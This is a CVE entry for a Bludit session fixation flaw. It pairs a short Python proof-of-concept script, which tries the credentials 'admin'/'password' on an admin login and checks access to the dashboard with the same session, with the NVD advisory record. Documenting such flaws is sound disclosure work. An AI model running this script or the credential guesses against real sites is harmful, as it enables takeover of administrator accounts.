CVE-2026-25101

import requests # Target configuration target_url = "http://example.com" login_url = f"{target_url}/admin/login" # Create a session to simulate the attacker's browser attacker_session = requests.Session() # Step 1: Attacker initiates a session and captures the Session ID # In this vulnerability, the session ID provided before login is retained after login print("[1] Attacker visits site to get a session ID...") initial_resp = attacker_session.get(target_url) session_id = attacker_session.cookies.get_dict() print(f" Captured Session ID: {session_id}") # Step 2: Attacker tricks the victim into using this specific Session ID to log in # (Social Engineering step happens here, simulated by the attacker performing the login) # In a real attack, the victim would receive the cookie and log in. print("[2] Simulating victim logging in with the fixed session ID...") login_payload = { "username": "admin", "password": "password", # Token might be required depending on config, omitted for brevity } login_resp = attacker_session.post(login_url, data=login_payload) # Step 3: Attacker reuses the initial Session ID to access authenticated resources print("[3] Attacker attempts to access admin dashboard using the old Session ID...") dashboard_resp = attacker_session.get(f"{target_url}/admin/dashboard") if dashboard_resp.status_code == 200 and "dashboard" in dashboard_resp.text.lower(): print("[+] Exploit successful! Session fixation confirmed.") else: print("[-] Exploit failed or patch applied.")

{"cve": {"id": "CVE-2026-25101", "sourceIdentifier": "[email protected]", "published": "2026-03-27T12:16:20.203", "lastModified": "2026-04-02T20:53:39.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bludit allows user's session identifier to be set before authentication. The value of this session ID stays the same after authentication. This behavior enables an attacker to fix a session ID\nfor a victim and later hijack the authenticated session.\n\nThis issue was fixed in version 3.17.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bludit:bludit:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.17.2", "matchCriteriaId": "764F7E8C-E7EE-4A85-A450-402ABD993ABB"}]}]}], "references": [{"url": "https://cert.pl/posts/2026/03/CVE-2026-25099", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/bludit/bludit/releases/tag/3.17.2", "source": "[email protected]", "tags": ["Release Notes"]}]}}